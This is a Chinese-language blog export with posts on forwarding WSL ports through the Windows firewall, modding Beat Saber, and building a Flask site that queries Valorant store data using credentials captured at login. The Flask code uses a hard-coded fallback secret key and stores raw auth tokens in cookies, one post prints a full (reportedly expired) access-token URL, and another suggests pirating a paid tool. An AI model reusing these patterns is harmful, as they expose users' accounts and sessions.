本地链接 IPv6 地址. . . . . . . . : fe80::d8ff:5060:f230:9168%67
自动配置 IPv4 地址 . . . . . . . : 169.254.83.107
子网掩码 . . . . . . . . . . . . : 255.255.0.0
默认网关. . . . . . . . . . . . . :

无线局域网适配器 WLAN:

媒体状态 . . . . . . . . . . . . : 媒体已断开连接
连接特定的 DNS 后缀 . . . . . . . : DHCP HOST

以太网适配器 以太网:

连接特定的 DNS 后缀 . . . . . . . :
IPv4 地址 . . . . . . . . . . . . : 192.168.0.233
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.0.1

以太网适配器 VMware Network Adapter VMnet1:

连接特定的 DNS 后缀 . . . . . . . :
IPv4 地址 . . . . . . . . . . . . : 192.168.10.1
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . :

以太网适配器 VMware Network Adapter VMnet8:

连接特定的 DNS 后缀 . . . . . . . :
IPv4 地址 . . . . . . . . . . . . : 192.168.43.1
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . :

以太网适配器 vEthernet (Default Switch):

连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::369c:b5be:230:32bb%79
IPv4 地址 . . . . . . . . . . . . : 172.21.96.1
子网掩码 . . . . . . . . . . . . : 255.255.240.0
默认网关. . . . . . . . . . . . . :

我这里网卡是用的以太网适配器 以太网,所以我的IP就是192.168.0.233

找到WSL的IP

首先你得安装net-tools(一般来说正常的Linux都会有,但指不定你用的WSL它没有呢?)

1
$ sudo apt install net-tools -y

安装完以后输入Linux的经典命令

1
$ ifconfig

然后就会有你所有网卡的输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
gamernotitle@DESKTOP-HRHFRVI:~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet xxx.xx.xx.123 netmask 255.255.240.0 broadcast xxx.xx.xx.xxx
inet6 fe80::215:5dff:fee6:d2ab prefixlen 64 scopeid 0x20<link>
ether 00:15:5d:e6:d2:ab txqueuelen 1000 (Ethernet)
RX packets 151123 bytes 210055048 (210.0 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 22062 bytes 12461359 (12.4 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

这里要看的是eth0,看里面的inet写的啥,这里可以得到IP地址为xxx.xx.xx.123(因为用的是公网服务器,所以码一下)

让访问流量通过防火墙

这里就得打开一个管理员终端了,按下Win + X,选择终端(管理员)

然后输入以下命令,添加防火墙规则,放行两端访问的流量

1
New-NetFirewallRule -DisplayName "WSL" -Direction Inbound -InterfaceAlias "vEthernet (WSL)"  -Action Allow

会弹出这样子的提示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Name                          : {规则的UUID}
DisplayName : WSL
Description :
DisplayGroup :
Group :
Enabled : True
Profile : Any
Platform : {}
Direction : Inbound
Action : Allow
EdgeTraversalPolicy : Block
LooseSourceMapping : False
LocalOnlyMapping : False
Owner :
PrimaryStatus : OK
Status : 已从存储区成功分析规则。 (65536)
EnforcementStatus : NotApplicable
PolicyStoreSource : PersistentStore
PolicyStoreSourceType : Local
RemoteDynamicKeywordAddresses : {}
PolicyAppId :

就说明已经打通了,现在你试试访问WSL的服务,是不是已经可以访问通了呢

Windows转发WSL流量

因为我是使用公网服务器,但是服务跑在WSL里面,所以得让Windows来转发一下,幸好Powershell可以直接做到

1
netsh interface portproxy add v4tov4 listenport=<"Windows监听的端口"> connectaddress="<WSL的IP地址,前面获取过的>" connectport=<"WSL中的服务端口"> listenaddress=* protocol=tcp

协议这个地方,如果你是UDP服务的话,记得把tcp改为udp

打完后按回车,添加转发不会有任何的提示;然后在公网访问服务器,就可以发现已经访问到WSL中的服务了

]]>
+ + + + + Tech + + + + + + + Tech + + WSL + + Windows + + Server + + + +
+ + + + + Beat Saber 萌新踩坑记录 + + /posts/BeatSaber-Noob/ + +

本文只是通过我的各种经验,去讲述我玩Beat Saber的时候踩过的坑。如果你需要更完整的Beat Saber萌新教程,请访问Beat Saber新手教程、问题解答、曲包网盘 - Steam / Oculus / Quest (wgzeyu.com)

转载:VR设备参数对比表(BS中文站)

我端午的时候,去了一趟SMU,然后从别人那里捞了一台Pico Neo 3回来玩,VR这个东西我一直是很粉的,自从高一那一年第一次玩就戒不掉了。既然捞到了一台PICO,那肯定要玩起来的嘛

游玩VR游戏之前,请把手柄的手绳戴好,要是手柄甩出去了那就尴尬了撒

串流相关请阅读 -> 串流方法

Beat Saber 踩坑记录

买游戏、安装游戏

这个用过Steam的应该都懂吧,直接访问Beat Saber的产品页面,然后花90大洋(阿根廷人和土耳其人可能会便宜点)购买游戏就是了

安装的话,如果你不需要安装Mod就直接安装就是了,如果你需要装mod,那么请往下看

MOD相关

安装特定版本的Beat Saber

因为最新版的BS还没有Mod适配,所以我们要装回旧版本

这里有两种方法,第一种是来自于知乎某大佬的方法,稍微繁琐一点,但是通用,请去他的帖子看 -> 【游戏教程】Beat Saber 安装mod并实现换角色模型与设置相机位置 - 知乎 (zhihu.com)

这里我讲一下第二种方法,也是近期出现的方法

Oculus工作室这边因为升级了Unity的版本,所以他们把旧版本Unity打造的BS归档成了一个测试版,这个测试版的版本号是1.29.1,这个版本的mod是有适配的,所以我们可以直接安装这个版本

右键你的Beat Saber,选择属性 -> 测试版,在参与测试里面选到legacy1.29.1_unity_ver2019.4.28f1 - pre unity upgrade build这一项,然后直接关闭这个窗口就行了

接着按照正常的流程安装Beat Saber,你会看到你的库存里Beat Saber的后面有个中括号[]写着当前参与的测试

装好了以后,先打开一次游戏,让BS初始化一下,然后再进入安装MOD的阶段

安装MOD

首先,你得去BS中文站下一个ModAssistant,当然你要是喜欢用国外源或者是肉身出国了,你也可以去Github下载

BS中文站的ModAssistant是经过了修改的,增加了两个国内源 一键直达

我就直接用BS中文站的那个了,下载后打开是像下面这样的

在左下角那里先切换一下自己的下载源,换好了以后先阅读一下首页的内容,阅读后点同意(不同意的可以我的网页了,不同意咋装mod)

下面提示可以安装mod后,就可以点击左边的mod标签卡了,在里面选择自己喜欢的mod装上(注意左下角的游戏版本是否正确识别了)

额外配置项

点击ModAssistant左边的选项,设置一下OneClick安装,如果你想手动安装也可以,请阅读BS中文站的指引

安装光剑/人物模型

你需要去ModelSaber网站去找到自己喜欢的东西,然后直接点一键安装就行了,也可以下载了手动安装 ModelSaber

添加歌曲谱面

你需要去BeatSaver.com这个地方去找到自己喜欢的谱面,然后安装

有没有更方便的方式?

有,就像我们使用网易云的过程中,网易云有歌单的概念,BS里面也有这个概念,在BeatSaver.com有别人整理好的歌单,当然,BS中文站也有,你可以在这里找到Beat Saber曲包资源同步 - ResilioSync (wgzeyu.com)

在VR里面看桌面窗口

这个功能应该是直播用的比较多,这里会用到一个Steam上的软件叫做OVR Toolkit(国区售价41RMB,不想买就去三大妈下一个)

安装好了后在SteamVR启动之前启动这个东西,就能在SteamVR里面看到它的设置了,在你的左手手腕上(相当于一个手表)

按下扳机键就相当于点一下,建议按照里面的指引进行设置,设置的效果是这样的

当然因为我直播的时候是捕获的Beat Saber窗口,所以观众是看不到我这三个窗口的

OVR的优先级高于VR游戏,也就是说在窗口叠加的时候,它会叠在最高层

串流相关

因为Pico不像Valve Index和Meta Quest那样可以直接用SteamVR,所以我们要先下载Pico官方的串流助手

PICO Link Windows 软件 | PICO中国 (picoxr.com)

我是直接下载了跟Pico 4一起的那个版本(事实证明如果Neo 3下错了版本的话会爆音,虽然到最后我都没有解决音频问题)

下载好了安装就是了,然后打开就是像我这样的东西

根据自己的需要选择串流的方式就行了(个人观点:优先有线连接),在头显里面要打开串流助手去连接(注:PICO内置截图出来的图片不清晰,凑合着看吧)

连接好了会自动打开SteamVR,然后就会看到经典的SteamVR空间(性能面板是PICO的)

到这里,你已经完成串流的连接啦!


题外话

Pico Neo 3确实像网上说的有手柄漂移,有的时候打着打着手柄飘了就很难受。另外,平时不运动的人最好一开始别玩太猛,要不然你可能会受到腰酸背痛连续要几天的侵蚀,着实很难受。

]]>
+ + + + + Software + + + + + + + Beat Saber + + Games + + Mod + + VR + + Pico Neo 3 + + PicoVR + + + +
+ + + + + 利用ValorantAPI开发商店查询网站 + + /posts/Valorant-Shop-with-API/ + +

先上链接:https://val.bili33.top/

附上可用于参考的文档(在别人的文档上改的,我的文档里附了源文档链接):https://gamernotitle.notion.site/Valorant-API-baffa2069fb848a781664432564e94d0

出现这个Idea是因为最近从Go转瓦去玩了,然后每天商店会刷4个皮肤(玩过瓦的都知道每天8点蹲商店),能实现这个的有很多应用,其中不乏国产的小黑盒、游民星空;Google Play商店上面还有Vshop(因DMCA被暂时下架了),在这些应用中除了Vshop,其他的我用过的都存在一个问题:每天都要重新登陆,就会弄得,很烦。特别是我这种账号开了二次验证的玩家,还要天天跑邮箱收验证码。

然后我就去搜了一下拳头的API文档:Riot Developer Portal (riotgames.com),但是并没有发现相关的API(特别是瓦的API需要的APIkey的权限比较高,个人开发者拳头不给这么高的权限)

拳头的门槛太高了,搞得我被劝退了一段时间,直到我在网上搜索到了这个Notion文档(我的参考文档是从这里改的):新增模块:UAIOSC-valorant;新增功能:每日商店刷新检测等(使用GitHub上从Valorant客户端扒出来的API) (notion.site)

既然有了别人整理出来的文档,那么就着手开始做吧!

我一人就是一支军队哒!!!!!

网站框架

因为个人用Python用的比较多(说白了就是其他的不熟,真不熟吧),所以第一反应是用Flask作为网站的引擎去开发。但是在做后端之前,得先把前端的框架大概搭建一下。为了把网站做的好看一点,我就去找模板去了。

之前做哔哩CDN的时候,用的是Creative TIM的Argon设计语言(creativetimofficial/argon-design-system),这次我本来想在TemplateMonster上面找的,但是这网站上面的模板那叫一个鱼龙混杂呀,所以我还是找回老东家Creative TIM的设计语言,自己去搭建框架,然后看到Soft UI这一套就挺不错的(毕竟总不可能网站都用一个风格嘛),就拿来用了

在大概花了三个小时把网站的前端框架给弄好(第一版只做了首页(登录页)EULA市场页面),然后当天晚上就开始做后端的逻辑

登录部分

登录部分我最开始就想的是用轮子(倒不如说整个网站能用轮子的都用轮子),在Ultronxr大佬的文档中提到了三个登录库(最下面那个是大佬自己改了的,第一个是大佬用Java写的,但是404警告):

我试了一下底下两个(毕竟能不用Java就不用Java嘛),然后发现很尴尬的事情:登录不上。不知道是不是我的打开方式不对,但是我试了半个小时都是不行,那没办法啦,只能另寻他路

我用关键词Riot Auth交友平台上面进行搜索,结果找到了这个仓库:ohlunaaa/Riot-auth (github.com)

我先Clone了下来,然后尝试用里面的example.py进行登录,不管是开了2FA(二步验证,下同)还是没开的都能够登上,并且返回access_tokenentitlement_token,然后我就用它了(这里登录用的我朋友的号,不是我的)

着手把这个轮子改一改,进行亿点点改动,首先登录操作改成一个函数,然后把二步验证也打包成函数,这样输入验证码的时候就调用这个函数就行了,改着改着就给我改成了现在的样子:VSC/RiotLogin.py at master · GamerNoTitle/VSC · GitHub

然后在后端,接收前端传来的form数据,构建了一个登录函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@app.route('/api/login', methods=['POST'])
def RiotLogin():
# print(request.form)
username = request.form.get('Username')
password = request.form.get('Password')
# APServer = request.form.get('APServer')
# EUServer = request.form.get('EUServer')
# NAServer = request.form.get('NAServer')
# KRServer = request.form.get('KRServer')
checked_rule = request.form.get('CheckedRule')
checked_eula = request.form.get('CheckedEULA')
if username == '' or password == '' or not checked_eula or not checked_rule:
return render_template('index.html', infoerror=True)
else:
CREDS = username, password
user = Auth(username, password)
if user.auth:
response = make_response(render_template('myMarket.html'))
response.set_cookie('access_token', user.access_token)
response.set_cookie('entitlement_token', user.entitlement)
response.set_cookie('region', user.Region)
response.set_cookie('username', user.Name)
response.set_cookie('tag', user.Tag)
response.set_cookie('logged', '1')
response.status_code = 200
else:
response = make_response(render_template('index.html', loginerror=True))
return response

你可以发现这里面是有服务器选择的选项接收的,只不过被我注释掉了,其实我一开始以为登录的API需要用户根据自己账号所在地区选择(有的人打美服那就得选NA,同理,打欧服就得选EU,不过国区大部分人是港区、台区、缅甸区啥的,这都属于AP的范围),后来发现在登录的时候会返回地区(见上图),所以就给我注释掉了,后面更是删掉了。

至于二步验证,那是后面干的事情,让我们先进入商店获取阶段

获取商店

获取商店是一个很麻烦的事情,特别是要对武器啥的进行解析,让我们从获取开始

首先根据Ultronxr大佬的文档,有这样的一个API的端点表格(下图)

表格里面写的很详细,我们用到的API为这个(以亚太服为例) -> https://pd.ap.a.pvp.netstore/v2/storefront/

通过初始化一个player对象,来获取玩家的每日商店,并保存到自身的shop变量中,以供后续使用(该版本文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class player:
def __init__(self, access_token: str, entitlement_token: str, region: str, user_id: str):
self.access_token = access_token
self.entitlement = entitlement_token
self.region = region
self.__header = {
'Authorization': f'Bearer {self.access_token}',
'X-Riot-Entitlements-JWT': self.entitlement,
'X-Riot-ClientPlatform': 'ew0KCSJwbGF0Zm9ybVR5cGUiOiAiUEMiLA0KCSJwbGF0Zm9ybU9TIjogIldpbmRvd3MiLA0KCSJwbGF0Zm9ybU9TVmVyc2lvbiI6ICIxMC4wLjE5MDQyLjEuMjU2LjY0Yml0IiwNCgkicGxhdGZvcm1DaGlwc2V0IjogIlVua25vd24iDQp9',
'X-Riot-ClientVersion': 'release-06.07-shipping-16-866145', #requests.get('https://valorant-api.com/v1/version', timeout=30).json()['data']['riotClientVersion'],
'Content-Type': 'application/json'
}
if region == 'ap':
server = apServer
elif region == 'eu':
server = euServer
elif region == 'na':
server = naServer
else:
server = krServer
response = requests.get(f'{server}{store}{user_id}', headers=self.__header, timeout=30)
self.shop = response.json()
if response.status_code == 400 or response.status_code == 404: self.auth = False
else: self.auth = True

从这个API我们能够获取到很详细的商店数据(见文档,这里不贴了,太长了),其中对我们有用的是SkinsPanelLayoutBonusStore这两个东西,分别对应了每日商店(每天4个皮肤)和黑市(赛季结束前20天的商店,里面有6个皮肤)

根据获取到的字典,我们可以提取到皮肤的UUID,例如文档中给的示例紫金狂潮 暴徒的皮肤ID是b9ee2457-481c-6776-3f5b-0ca8e8f90c89,当我使用这个UUID去https://valorant-api.com/查询的时候,根据文档给出的格式https://valorant-api.com/v1/weapons/b9ee2457-481c-6776-3f5b-0ca8e8f90c89访问后发现提示

1
2
3
4
{
"status": 404,
"error": "the requested uuid was not found"
}

然后我就直接访问https://valorant-api.com/v1/weapons/skins,把里面的所有内容扒了下来,做了一个缓存,里面写了所有皮肤名字对应的皮肤UUID(见这里

通过自己做的这个缓存作为索引,去Valorant-API网站上调用到这个皮肤的所有信息,然后进行解析,得到这个皮肤的所有等级和炫彩数据,构成一个对象(下面代码是最初版本,该版本文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class weapon:
def __init__(self, uuid: str, cost: int):
self.uuid = uuid
self.cost = cost
self.weapon_id = None
with open('assets/dict/zh_CN.json') as f:
data = json.loads(f.read())
f.close()
self.name = requests.get(f'https://valorant-api.com/v1/weapons/skinlevels/{self.uuid}?language=zh-CN', timeout=30).json()['data']['displayName']
self.uid = data[self.name] # the real series skin uuid for the weapon, not a level uuid
self.data = requests.get(f'https://valorant-api.com/v1/weapons/skins/{self.uid}?language=zh-CN', timeout=30).json()['data']
self.level = self.data['levels'] # Skin Levels
self.chroma = self.data['chromas'] # Skin Chromas
self.base_img = self.data['displayIcon']

然后直接在主程序里面创建weapon对象的变量,直接调用对象中的数据(该版本文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@app.route('/market', methods=['GET'])
def market():
cookie = request.cookies
access_token = cookie.get('access_token')
entitlement = cookie.get('entitlement_token')
region = cookie.get('region')
userid = cookie.get('user_id')
user = player(access_token, entitlement, region, userid)
if user.auth:
shop = user.shop['SkinsPanelLayout'] # Flite the daily skin
weapon0 = weapon(shop['SingleItemStoreOffers'][0]['OfferID'], shop['SingleItemStoreOffers'][0]["Cost"]["85ad13f7-3d1b-5128-9eb2-7cd8ee0b5741"])
weapon1 = weapon(shop['SingleItemStoreOffers'][1]['OfferID'], shop['SingleItemStoreOffers'][1]["Cost"]["85ad13f7-3d1b-5128-9eb2-7cd8ee0b5741"])
weapon2 = weapon(shop['SingleItemStoreOffers'][2]['OfferID'], shop['SingleItemStoreOffers'][2]["Cost"]["85ad13f7-3d1b-5128-9eb2-7cd8ee0b5741"])
weapon3 = weapon(shop['SingleItemStoreOffers'][3]['OfferID'], shop['SingleItemStoreOffers'][3]["Cost"]["85ad13f7-3d1b-5128-9eb2-7cd8ee0b5741"])
return render_template('myMarket.html', market=True, weapon0={"name": weapon0.name, "cost": weapon0.cost, "img": weapon0.base_img},
weapon1={"name": weapon1.name, "cost": weapon1.cost, "img": weapon1.base_img},
weapon2={"name": weapon2.name, "cost": weapon2.cost, "img": weapon2.base_img},
weapon3={"name": weapon3.name, "cost": weapon3.cost, "img": weapon3.base_img})
else:
response = make_response(redirect('/', 302))
for cookie in request.cookies:
response.delete_cookie(cookie)
return response

接着再把所有数据返回给jinja2进行渲染,把东西填入表格,然后我就写了好大一堆render_template

因为刚好做这个项目的时候夜市是开着的,所以我也把夜市部分给做完了

1
2
3
4
return render_template('myMarket.html', market=True, weapon0={"name": weapon0.name, "cost": weapon0.cost, "img": weapon0.base_img}, 
weapon1={"name": weapon1.name, "cost": weapon1.cost, "img": weapon1.base_img},
weapon2={"name": weapon2.name, "cost": weapon2.cost, "img": weapon2.base_img},
weapon3={"name": weapon3.name, "cost": weapon3.cost, "img": weapon3.base_img})

皮肤缓存

这个缓存不是传统意义上的缓存,是我把所有的皮肤数据扒下来存到文件里当缓存,每30分钟更新一次

我是开了一个新的线程去做的这个东西(下面为更新缓存的函数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import json
import time

sc_link = 'https://valorant-api.com/v1/weapons/skins?language=zh-CN'
tc_link = 'https://valorant-api.com/v1/weapons/skins?language=zh-TW'
jp_link = 'https://valorant-api.com/v1/weapons/skins?language=ja-JP'
en_link = 'https://valorant-api.com/v1/weapons/skins'

Linkmap = [
('zh-CN', sc_link),
('zh-TW', tc_link),
('ja-JP', jp_link),
('en', en_link)
]

def updateCache():
while True:
print('Updating Cache...')
for lang, link in Linkmap:
res = requests.get(link, timeout=30)

dt = {}
for i in res.json()['data']:
dt[i['displayName']] = i['uuid']

with open(f'assets/dict/{lang}.json', 'wt', encoding='utf8') as f:
f.write(json.dumps(dt))

del res, dt # Free RAM
time.sleep(3600) # refresh cache every 1 hr

if __name__ == '__main__':
updateCache()

下面是我在主程序里面调用新线程

1
2
3
4
import _thread
from utils.Cache import updateCache

_thread.start_new_thread(updateCache, ())

启动信号我是放在flask服务器启动之前,主函数里面,这样就可以启动这个线程,并且每30分钟自动更新一次皮肤的数据缓存

更好的图片预览

在弄完电脑端的页面后,我发现图片太小了,而且帮我测试的同志(@Vanilluv)给我提出了这个建议

我估计他说的是这种(图示为Pixiv的一个浏览器插件 PixivBatchDownloader

但是但是,我实在想不出什么库可以达到这个效果,我就想到我的Blog的主题hexo-theme-butterfly用的fancybox,可以做到点击查看大图的效果,所以我就想做成这种

这个时候,我就开始求助ChatGPT了(因为懒得写html了,写起来真的很烦)

直接按照它给我的做法,往里面写,不一会就做好了√

二步验证

上面说到,一开始的登录部分是不支持二步验证的,但是轮子本身是支持二步验证的。我自己在测试的过程中,一开始如果是点击登录后,然后反弹回去登录页面加多一个验证码框框,让用户输入验证码后再点登陆,发现这样会导致会话终结,也就是说这个时候在拳头那里已经算是一个新的会话了。于是我又去问ChatGPT

Q: 我想在flask服务器中保存requests的session,该怎么做

A: 在 Flask 服务器中,您可以使用 Flask-Session 扩展来保存 requests 的 session。Flask-Session 提供了一个简单的方法来将 Flask 应用程序连接到服务器的会话存储。

诶,这刚好给了我方向,而且它也给了我代码,我把它给我的代码放进去,小改一下登录部分,不一会就做好了,但是下面坑就来了(等会说,记住GPT给我的建议,下面要考)

手机端页面适配

关于手机和电脑的判断,我是通过UA进行判断的

电脑端的UI是像下面这样(Edge电脑端)

1
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.35

而手机的像是下面这样(Edge移动端)

1
Mozilla/5.0 (Linux; Android 13; M2012K11AC) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36 EdgA/112.0.1722.59

很明显里面有系统的这个字段,手机会有Android字样,虽然不知道iPhone是咋样的,但是把iPhone字段加入判断准没错,这就是我手机和电脑端的判断依据

我一开始的想法是说把表格弄成竖直的样式,就是一个表格,从上到下是名称图片价格这样的顺序,这样想了以后,发现表头是不必要的东西,你想嘛,手机的宽度就那么小,再弄个表头在左边不是显得很多余嘛

然后我又去求助《万能的》GPT,GPT跟我说Soft UI这一套是用Bootstrap5制成的,里面有card这一class(就是我们平常见到的卡片式),然后我就直接把我的代码给GPT,它给我生成了card的代码,直接贴进去,SO EASY~

第一次踩坑:flask新版本

刚好做手机端适配的那一天我跟我爸出去了,所以我是抱着我的苏菲在外面写的代码,好不容易在codespaces里面调试完成了,git push一下,结果就直接BOOM了,提示如下

1
2
3
4
5
6
7
8
9
10
11
127.0.0.1 - - [10/May/2023 16:55:53] "GET / HTTP/1.1" 500 -
Error on request:
Traceback (most recent call last):
File "C:\Users\GamerNoTitle\AppData\Local\Programs\Python\Python310\lib\site-packages\flask\app.py", line 2189, in wsgi_app
ctx.push()
File "C:\Users\GamerNoTitle\AppData\Local\Programs\Python\Python310\lib\site-packages\flask\ctx.py", line 377, in push

self.session = session_interface.open_session(self.app, self.request)
File "C:\Users\GamerNoTitle\AppData\Local\Programs\Python\Python310\lib\site-packages\flask_session\sessions.py", line 329, in open_session
sid = request.cookies.get(app.session_cookie_name)
AttributeError: 'Flask' object has no attribute 'session_cookie_name'

这一个提示直接给我干懵了,因为我在codespaces里面是调试成功的,就没遇到500的问题,结果部署就出了问题,最最最关键的事情是,我当时没有分masterdev分支,也没有分productiondev分支(指部署上),然后直接让我的服务炸裂,不管谁访问都是500。不过当时我也没有发出去,用的人也就我群里的老朋友们,然后我就在群里发了条消息

这个时候刚好准备回家了,我就收拾了一下东西,先回家去

回到家里,我做的第一件事情就是回滚版本(就是把手机端页面适配先去掉),结果还是给我报一样的错误

接着我去问了ChatGPT(这个时候我就要划掉万能这两个字了,完全就是在胡说嘛)

我就很懵逼,我明明是配置了SECRET_KEY的,怎么还出现这种问题呢,我以为是PaaS平台(Zeabur)没有读入我的环境变量,我当时是这么写的

1
app.config['SECRET_KEY'] = 'A7C55959-3577-5F44-44B6-11540853E272' if not os.environ.get('SECRET_KEY') else os.environ.get('SECRET_KEY')

这里很明显就是说没有读取到SECRET_KEY也有一个缺省值,这样写了以后还是死活打不开,我甚至去问了Zeabur的管理员(真的要给他点赞他真的每次都在解答群友的问题)

就是说我写法是没问题的,而且我后来开了个简单的应用试了一下,代码是这样的

实测这个变量env确实进去了,不过端口没有进去是因为它用了Gunicorn开服务,所以端口不是在这里设置的

所以说,不是我代码的问题,应该是其他的原因

我重新开了一个Codespaces(为了重新开一个环境),然后按照我之前的配置方法去配置,诶,也出现了这个问题

这更加印证了代码不是这个问题的锅,应该是其他的原因

后来我去翻flask的文档和flask-session的文档,结果在flask的文档里面找到了这个更新 -> Update 2.3.0

注意我选定的位置,没错flask 2.3.0更新把session_cookie_name给删掉了,且Flask-Session没有对此进行适配,导致了这个错误

于是我赶紧在requirements.txt里面固定了flask的版本

1
flask==2.2.4

重新部署后发现没问题了,这才安心了

从此刻开始,我开了Dev分支,在Zeabur也设置了Dev环境,用来开发用(省得又bug了导致服务中断)

中场休息

嗯没错,崩铁开服了,于是玩了一天的崩铁(开服冲级嘛),但我没想到8点就开服了,我是8点多准备开鼠标连点器抢UID的,因为当天九点半我要学车,月底要考科目二,结果本来想定位那个开服提示的确定键的,自己先点击了一下,然后进去了(捂脸),就变成UID前排了(100头,UID100201759,图为2023/5/10截的,崩铁我是手柄玩家)

更换皮肤的显示语言

这个建议是@Vanilluv提出的,因为这个网站毕竟是看国际服的,又不是看国服的,国际服最多是繁中而不是简中,所以推荐更换为繁中。这个也简单,更改了一下请求API的参数和访问缓存的语言就搞定了

自动保活

就是字面意思啦,上面也提到了拳头给的access_tokenentitlement_token只有一小时的寿命,如果不进行重新获取的话,就会需要重新登陆

但其实这一节做了我很久,因为在我的登录模块的轮子里面有这样的内容

1
data2 = {"language": "en_US","password": self.password,"remember": "true","type": "auth","username": self.username,}

这是登录的POST请求体,我天真地以为直接把remember设置为true就可以了,但是经过两天的测试发现这东西基本就是摆设……

本来我是不报什么希望了,然后在我翻Vshop(因为Vshop有自动更新token的机制,所以去翻了一下看看能不能找到什么线索)的时候,找到了它的官网,在它的Credit页面,有一项引起了我的注意

因为我一开始在Github上没找到什么好的文档,找到的API就是他这里面写的这个valorant-api.com,而且我也用上了,但是这个库我是真的没有看见过,回到家我就直接查看这个库,果不其然里面有我们需要的东西

在文档里面有一项叫做Cookie Reauth,就是利用Cookie进行重新认证

这里的cookie按照我的理解是登陆时用的cookie,我先用浏览器进行访问,直接GET这个链接

https://auth.riotgames.com/authorize?redirect_uri=https%3A%2F%2Fplayvalorant.com%2Fopt_in&client_id=play-valorant-web-prod&response_type=token%20id_token&nonce=1

然后发现它会重定向到一个404页面(这404真好看哪天我要给他扒下来),但是但是,网址栏里面有我们需要的东西

完整链接如下(账号已登出,现在是无效的)

https://playvalorant.com/opt_in#access_token=eyJraWQiOiJzMSIsImFsZyI6IlJTMjU2In0.eyJwcCI6eyJjIjoiYXMifSwic3ViIjoiZjYyMTYyNjUtN2U3NS01NDRjLTgyMGYtZWI5ZGY0MjEyM2UyIiwic2NwIjpbIm9wZW5pZCLCJjbG0iOlsib3BlbmlkIl0sImRhdCI6eyJjIjoidXcxIiwibGlkIjoiV3BvUUhWRW1yY1hmVFJnMVU3MnpwZyJ9LCJpc3MiOiJodHRwczpcL1wvYXV0aC5yaW90Z2FtZXMuY29tIiwiZXhwIjoxNjgzNzE1MTg4LCJpYXQiOjE2ODM3MTE1ODgsImp0aSI6ImRJNzB4d01JMXE4IiwiY2lkIjoicGxheS12YWxvcmFudC13ZWItcHJvZCJ9.ZffyYoYQlaWAOyr3rBSjtqHe4XBa8zlJU2lRvZGA-wgqU5PLR_wrWvd-6kObVwkJzfen7rpcSSQG9CFbZqflBYVtowadeufGarMM9NgRR6Pkyyfuo845M1NJp67O4EkpP0U-hRDrltghETxJLwGYFQntNVM1WWtW19iIZTQeWKk&scope=openid&iss=https%3A%2F%2Fauth.riotgames.com&id_token=eyJraWQiOiJzMSIsInR56ImlkX3Rva2VuK2p3dCIsImFsZyI6IlJTMjU2In0.eyJhdF9oYXNoIjoiZGd3TzM2cVpNdFpsa1ctWm9xdGpZZyIsInN1YiI6ImY2MjE2MjY1LTdlNzUtNTQ0Yy04MjBmLWViOWRmNDIxMjNlMiIsImF1ZCI6InBsYXktdmFsb3JhbnQtd2ViLXByb2QiLCJhY3IiOiIwIiwiYW1yIjpbInBhc3N3b3JkIiwibWZhIiwiY29va2llIl0sImlzcyI6Imh0dHBzOlwvXC9hdXRoLnJpb3RnYW1lcy5jb20iLCJleHAiOjE2ODM3OTc5ODgsImxvY2FsZSI6InpoX01ZIiwiaWF0IjoxNjgzNzExNTg4LCJub25jZSI6IjEifQ.AOQt3i6xEZyQlNKXPT1ds4Lt8sVsEXR3dS7DJ9S8xbNSR1Pd4YON8nDAmV4F_XSH5t9VmBzv54-HLzJvRhJkJAgkOgJQAcHyetgcf0t6MealgfH2HsSnt8w9IlEgJXK6DVwGUA52inZtlq6xQUtfqigNlkXcRFtQQwnt_D-x_TU&token_type=Bearer&session_state=ps8t9j9WtxNYxhSuRy1SHt3aiUmROifqVwiC_zG5k.Nszsu7v9Q35PH87EzTqh8A&expires_in=3600

我们进行拆分,可以分为一下这几个东西

  • access_token:认证用的token
  • scope=openid
  • iss=https%3A%2F%2Fauth.riotgames.com
  • id_token:不知道是个啥token,但我们不用
  • token_type=Bearer
  • session_state:应该是session的标识符
  • expires_in=3600(过期时间3600秒,这也就是1小时寿命的来源)

现在是有了access_token,我们还需要获得entitlement_token才能凑齐七颗龙珠(bushi)

在上面提到的那个文档中,还有这样的一个项目

这个给我们展示了如何获取entitlement_token,这里headers是需要把认证用的token填进去的,这就是为什么要先获取access_token,访问后会获得文档给我们展示的json,从中提取entitlement_token就行了

那么最后的问题来了,如果你是用Python直接访问拳头的链接,会被Cloudflare给挡住(因为你即使有Cookie,但也没有会话Session的存在),就像我调试的这样

所以非常有必要把之前的session给保留,然后我就把之前登录用的session存入用户与我的服务之间的Session里面了,方便调用

然后推入Dev分支,Dev环境,调试了几天(那几天还是51放假),没问题后并入了master分支

皮肤预览

做这个的原因是,既然Vshop有这个功能,那我肯定也要嘛(别人有的我们也得有,毕竟本来想法就是对标Vshop的)

因为我对JavaScript不熟,所以一开始是打算点击按钮以后打开一个新的页面,里面只有一个视频的,结果被@Vanilluv狠狠地吐槽了说不好看

